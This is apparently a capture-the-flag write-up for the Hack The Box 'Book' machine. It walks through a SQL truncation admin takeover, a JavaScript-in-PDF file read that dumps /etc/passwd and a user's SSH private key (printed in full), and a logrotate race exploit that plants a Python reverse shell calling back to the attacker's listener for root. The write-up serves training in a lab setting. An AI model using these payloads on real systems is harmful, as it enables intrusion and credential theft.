---
search:
  exclude: true
---
# Book Writeup

![](img/53.png)

## Introduction :

Book is a Medium Linux box released back in Febuary 2020.

## **Part 1 : Initial Enumeration**

As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/HTB/book]
    → nmap -vvv -p- 10.10.10.176 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
    Discovered open port 22/tcp on 10.10.10.176
    Discovered open port 80/tcp on 10.10.10.176
    
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/book]
    → nmap -sCV -p22,80 10.10.10.176
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-24 08:35 CEST
    Nmap scan report for 10.10.10.176
    Host is up (0.47s latency).
    
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    |   2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
    |   256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
    |_  256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
    80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
    | http-cookie-flags:
    |   /:
    |     PHPSESSID:
    |_      httponly flag not set
    |_http-server-header: Apache/2.4.29 (Ubuntu)
    |_http-title: LIBRARY - Read | Learn | Have Fun
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 25.32 seconds
    
    

## **Part 2 : Getting User Access**
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/book]
    → gobuster dir -u http://10.10.10.176 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt -t 50
    ===============================================================
    Gobuster v3.1.0
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://10.10.10.176
    [+] Method:                  GET
    [+] Threads:                 50
    [+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.1.0
    [+] Extensions:              php,html,txt
    [+] Timeout:                 10s
    ===============================================================
    2021/06/24 08:37:17 Starting gobuster in directory enumeration mode
    ===============================================================
    /.hta                 (Status: 403) [Size: 277]
    /.hta.php             (Status: 403) [Size: 277]
    /.hta.html            (Status: 403) [Size: 277]
    /.htaccess.php        (Status: 403) [Size: 277]
    /.htpasswd            (Status: 403) [Size: 277]
    /.hta.txt             (Status: 403) [Size: 277]
    /.htaccess.html       (Status: 403) [Size: 277]
    /.htpasswd.php        (Status: 403) [Size: 277]
    /.htaccess.txt        (Status: 403) [Size: 277]
    /.htpasswd.html       (Status: 403) [Size: 277]
    /.htaccess            (Status: 403) [Size: 277]
    /.htpasswd.txt        (Status: 403) [Size: 277]
    /admin                (Status: 301) [Size: 312] [--> http://10.10.10.176/admin/]
    /books.php            (Status: 302) [Size: 0] [--> index.php]
    /contact.php          (Status: 302) [Size: 0] [--> index.php]
    /db.php               (Status: 200) [Size: 0]
    /docs                 (Status: 301) [Size: 311] [--> http://10.10.10.176/docs/]
    /download.php         (Status: 302) [Size: 0] [--> index.php]
    /feedback.php         (Status: 302) [Size: 0] [--> index.php]
    /home.php             (Status: 302) [Size: 0] [--> index.php]
    /images               (Status: 301) [Size: 313] [--> http://10.10.10.176/images/]
    /index.php            (Status: 200) [Size: 6800]
    /index.php            (Status: 200) [Size: 6800]
    /logout.php           (Status: 302) [Size: 0] [--> index.php]
    /profile.php          (Status: 302) [Size: 0] [--> index.php]
    /search.php           (Status: 302) [Size: 0] [--> index.php]
    /settings.php         (Status: 302) [Size: 0] [--> index.php]
    /server-status        (Status: 403) [Size: 277]
    
    

So here we see that gobuster found a few interesting files:
    
    
    /admin/
    /index.php
    /admin/index.php
    /db.php
    
    

` ![](prg/53_001.png) ![](prg/53_002.png)

After creating an account, we can visit the website:

![](prg/53_003.png)

We know that the admin username is there on the box from the contact page:

![](prg/53_004.png)

Now we logout of our created account to inspect index.php onto which we see something interesting:

![](prg/53_005.png)

This is a hint that we can do a SQL Truncation attack to signup as admin, so we intercept our POST request when we try to create an account with this payload:
    
    
    test
    admin@book.htb         a
    password
    
    

The idea is to make an admin account with more than 20 characters and with the 20 charcaters limit it will trim out the extra chararacters (the spaces and the a character) to overwrite admin@book.htb. 

![](prg/53_006.png) ![](prg/53_008.png)

We follow the redirection 302 and it gives us a 200 response as if everything was fine. So we login as our new admin account at **admin@book.htb:password** at **/admin/home.php** :

![](prg/53_010.png)

And we now have access to the admin panel! Now let's check out the collections page:

![](prg/53_011.png)

Basically from **/admin/collections.php** we can see pdf files that has html code in it, to inject it we need to do it from **/collections.php**.

![](prg/53_012.png)

And here you see once we export the collections that our previous boldtext payload got interpreted:

![](prg/53_013.png)

So we do the same but this time with javascript to attempt a LFI:
    
    
    <****script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send(); <****/script>

` ![](prg/53_014.png)

And it worked! We now know that 'reader' is a valid user so let's try to print his SSH key if he has one:
    
    
    <****script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///home/reader/.ssh/id_rsa");x.send(); <****/script>

` ![](prg/53_015.png)

And we got his private SSH key! Now let's save it locally and login via SSH:
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/HTB/book]
    → vim reader.pkey
    
    [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/HTB/book]
    → cat reader.pkey
    -----BEGIN RSA PRIVATE KEY-----
    MIIEpQIBAAKCAQEA2JJQsccK6fE05OWbVGOuKZdf0FyicoUrrm821nHygmLgWSpJ
    G8m6UNZyRGj77eeYGe/7YIQYPATNLSOpQIue3knhDiEsfR99rMg7FRnVCpiHPpJ0
    WxtCK0VlQUwxZ6953D16uxlRH8LXeI6BNAIjF0Z7zgkzRhTYJpKs6M80NdjUCl/0
    ePV8RKoYVWuVRb4nFG1Es0bOj29lu64yWd/j3xWXHgpaJciHKxeNlr8x6NgbPv4s
    7WaZQ4cjd+yzpOCJw9J91Vi33gv6+KCIzr+TEfzI82+hLW1UGx/13fh20cZXA6PK
    75I5d5Holg7ME40BU06Eq0E3EOY6whCPlzndVwIDAQABAoIBAQCs+kh7hihAbIi7
    3mxvPeKok6BSsvqJD7aw72FUbNSusbzRWwXjrP8ke/Pukg/OmDETXmtgToFwxsD+
    McKIrDvq/gVEnNiE47ckXxVZqDVR7jvvjVhkQGRcXWQfgHThhPWHJI+3iuQRwzUI
    tIGcAaz3dTODgDO04Qc33+U9WeowqpOaqg9rWn00vgzOIjDgeGnbzr9ERdiuX6WJ
    jhPHFI7usIxmgX8Q2/nx3LSUNeZ2vHK5PMxiyJSQLiCbTBI/DurhMelbFX50/owz
    7Qd2hMSr7qJVdfCQjkmE3x/L37YQEnQph6lcPzvVGOEGQzkuu4ljFkYz6sZ8GMx6
    GZYD7sW5AoGBAO89fhOZC8osdYwOAISAk1vjmW9ZSPLYsmTmk3A7jOwke0o8/4FL
    E2vk2W5a9R6N5bEb9yvSt378snyrZGWpaIOWJADu+9xpZScZZ9imHHZiPlSNbc8/
    ciqzwDZfSg5QLoe8CV/7sL2nKBRYBQVL6D8SBRPTIR+J/wHRtKt5PkxjAoGBAOe+
    SRM/Abh5xub6zThrkIRnFgcYEf5CmVJX9IgPnwgWPHGcwUjKEH5pwpei6Sv8et7l
    skGl3dh4M/2Tgl/gYPwUKI4ori5OMRWykGANbLAt+Diz9mA3FQIi26ickgD2fv+V
    o5GVjWTOlfEj74k8hC6GjzWHna0pSlBEiAEF6Xt9AoGAZCDjdIZYhdxHsj9l/g7m
    Hc5LOGww+NqzB0HtsUprN6YpJ7AR6+YlEcItMl/FOW2AFbkzoNbHT9GpTj5ZfacC
    hBhBp1ZeeShvWobqjKUxQmbp2W975wKR4MdsihUlpInwf4S2k8J+fVHJl4IjT80u
    Pb9n+p0hvtZ9sSA4so/DACsCgYEA1y1ERO6X9mZ8XTQ7IUwfIBFnzqZ27pOAMYkh
    sMRwcd3TudpHTgLxVa91076cqw8AN78nyPTuDHVwMN+qisOYyfcdwQHc2XoY8YCf
    tdBBP0Uv2dafya7bfuRG+USH/QTj3wVen2sxoox/hSxM2iyqv1iJ2LZXndVc/zLi
    5bBLnzECgYEAlLiYGzP92qdmlKLLWS7nPM0YzhbN9q0qC3ztk/+1v8pjj162pnlW
    y1K/LbqIV3C01ruxVBOV7ivUYrRkxR/u5QbS3WxOnK0FYjlS7UUAc4r0zMfWT9TN
    nkeaf9obYKsrORVuKKVNFzrWeXcVx+oG3NisSABIprhDfKUSbHzLIR4=
    -----END RSA PRIVATE KEY-----
    
    [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/HTB/book]
    → chmod 600 reader.pkey
    
    [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/HTB/book]
    → ssh reader@10.10.10.176 -i reader.pkey
    Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64)
    
     * Documentation:  https://help.ubuntu.com
     * Management:     https://landscape.canonical.com
     * Support:        https://ubuntu.com/advantage
    
      System information as of Thu Jun 24 07:46:19 UTC 2021
    
      System load:  0.0                Processes:            142
      Usage of /:   26.6% of 19.56GB   Users logged in:      0
      Memory usage: 22%                IP address for ens33: 10.10.10.176
      Swap usage:   0%
    
    
     * Canonical Livepatch is available for installation.
       - Reduce system reboots and improve kernel security. Activate at:
         https://ubuntu.com/livepatch
    
    114 packages can be updated.
    0 updates are security updates.
    
    Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
    
    
    Last login: Wed Jan 29 13:03:06 2020 from 10.10.14.3
    reader@book:~$ cat user.txt
    0cXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    
    

And we managed to login as the reader user! We got the user flag.

## **Part 3 : Getting Root Access**

Now in order to privesc we need to upload linpeas.sh onto the box:
    
    
    [terminal1]
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/book]
    → cp /home/nothing/HTB/obscurity/linpeas.sh .
    
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/book]
    → python3 -m http.server 9090
    Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
    
    [terminal2]
    reader@book:~$ wget http://10.10.14.11:9090/linpeas.sh -O /tmp/peas.sh
    --2021-06-24 07:48:11--  http://10.10.14.11:9090/linpeas.sh
    Connecting to 10.10.14.11:9090... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 341863 (334K) [text/x-sh]
    Saving to: ‘/tmp/peas.sh’
    
    /tmp/peas.sh                                                100%[========================================================================================================================================>] 333.85K   174KB/s    in 1.9s
    
    2021-06-24 07:48:14 (174 KB/s) - ‘/tmp/peas.sh’ saved [341863/341863]
    
    reader@book:~$ chmod +x /tmp/peas.sh
    reader@book:~$ /tmp/peas.sh
    

` ![](prg/53_016.png)

Here we let it run, and then scrolling through the output we see the following logrotate cronjob hint:

![](prg/53_017.png)

we can also find it using pspy:
    
    
    [terminal 1]
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/book]
    → cp /home/nothing/HTB/Traceback/pspy64s .
    
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/book]
    → python3 -m http.server 9090
    Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
    
    [terminal 2]
    reader@book:~$ wget http://10.10.14.11:9090/pspy64s -O /tmp/pspy
    --2021-06-24 07:56:17--  http://10.10.14.11:9090/pspy64s
    Connecting to 10.10.14.11:9090... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 1156536 (1.1M) [application/octet-stream]
    Saving to: ‘/tmp/pspy’
    
    /tmp/pspy                                                   100%[========================================================================================================================================>]   1.10M   386KB/s    in 2.9s
    
    2021-06-24 07:56:21 (386 KB/s) - ‘/tmp/pspy’ saved [1156536/1156536]
    
    reader@book:~$ chmod +x /tmp/pspy
    reader@book:~$ /tmp/pspy
    

` ![](prg/53_018.png)

Let it run for a while and then you will see the following:

![](prg/53_019.png)

Trying to get some more details on logrotate we see the following:
    
    
    reader@book:~$ cd /var/lib/logrotate/
    reader@book:/var/lib/logrotate$ ls -l
    total 4
    -rw-r--r-- 1 root root 81 Jun 24 07:59 status
    reader@book:/var/lib/logrotate$ cat status
    logrotate state -- version 2
    "/home/reader/backups/access.log" 2020-1-29-13:5:29
    
    reader@book:/var/lib/logrotate$ logrotate --version
    logrotate 3.11.0
    

To exploit this we're going to use [logrotten](https://github.com/whotwagner/logrotten)exploit and apparently logrotate 3.11.0 is supported, so let's test it out:
    
    
    [terminal 1]
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/book]
    → wget https://raw.githubusercontent.com/whotwagner/logrotten/master/logrotten.c
    --2021-06-24 09:55:54--  https://raw.githubusercontent.com/whotwagner/logrotten/master/logrotten.c
    Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.110.133, 185.199.109.133, ...
    Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 7342 (7.2K) [text/plain]
    Saving to: ‘logrotten.c’
    
    logrotten.c                   100%[===============================================>]   7.17K  --.-KB/s    in 0.007s
    
    2021-06-24 09:55:56 (1.06 MB/s) - ‘logrotten.c’ saved [7342/7342]
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/book]
    → python3 -m http.server 9090
    Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
    
    [terminal 2]
    reader@book:/var/lib/logrotate$ cd /tmp
    reader@book:/tmp$ which gcc
    /usr/bin/gcc
    reader@book:/tmp$ wget http://10.10.14.11:9090/logrotten.c
    --2021-06-24 08:04:48--  http://10.10.14.11:9090/logrotten.c
    Connecting to 10.10.14.11:9090... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 7342 (7.2K) [text/x-csrc]
    Saving to: ‘logrotten.c’
    
    logrotten.c                                                 100%[========================================================================================================================================>]   7.17K  --.-KB/s    in 0.01s
    
    2021-06-24 08:04:49 (513 KB/s) - ‘logrotten.c’ saved [7342/7342]
    
    reader@book:/tmp$ gcc -o logrotten logrotten.c
    reader@book:/tmp$ ls -lash logrotten*
     20K -rwxrwxr-x 1 reader reader  18K Jun 24 08:05 logrotten
    8.0K -rw-rw-r-- 1 reader reader 7.2K Jun 24 07:55 logrotten.c
    
    

Then we need our reverse shell payload, obviously prepare the reverse shell listener aswell::
    
    
    [terminal 1]
    reader@book:/tmp$ cat payloadfile
    #!/bin/bash
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
    
    [terminal 2]
    [ 10.10.14.11/23 ] [ /dev/pts/20 ] [~/HTB/book]
    → nc -lvnp 9001
    listening on [any] 9001 ...
    
    

and do the following:
    
    
    reader@book:/tmp$ echo test >> /home/reader/backups/access.log; ./logrotten -p payloadfile /home/reader/backups/access.log
    Waiting for rotating /home/reader/backups/access.log...
    Renamed /home/reader/backups with /home/reader/backups2 and created symlink to /etc/bash_completion.d
    Waiting 1 seconds before writing payload...
    Done!
    

So from here the payload has been written into access.log:
    
    
    reader@book:/tmp$ ls -l /etc/bash_completion.d/
    total 32
    -r-xr-xr-x 1 reader reader   237 Jun 24 08:10 access.log
    -rw-r--r-- 1 root   root    6636 Nov 20  2017 apport_completion
    -rw-r--r-- 1 root   root    3211 Oct  2  2018 cloud-init
    -rw-r--r-- 1 root   root     439 Nov 26  2018 git-prompt
    -rw-r--r-- 1 root   root   11144 Mar 18  2019 grub
    reader@book:/tmp$ cat /etc/bash_completion.d/access.log
    #!/bin/bash
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
    

And since this is done, we only need to wait a bit until we get the reverse shell connection:
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/20 ] [~/HTB/book]
    → nc -lvnp 9001
    listening on [any] 9001 ...
    connect to [10.10.14.11] from (UNKNOWN) [10.10.10.176] 58930
    root@book:~# cat /root/root.txt
    cat /root/root.txt
    00XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    
    

And that's it! We managed to get the root flag.

## **Conclusion**

Here we can see the progress graph :

![](img/53_graph.png)

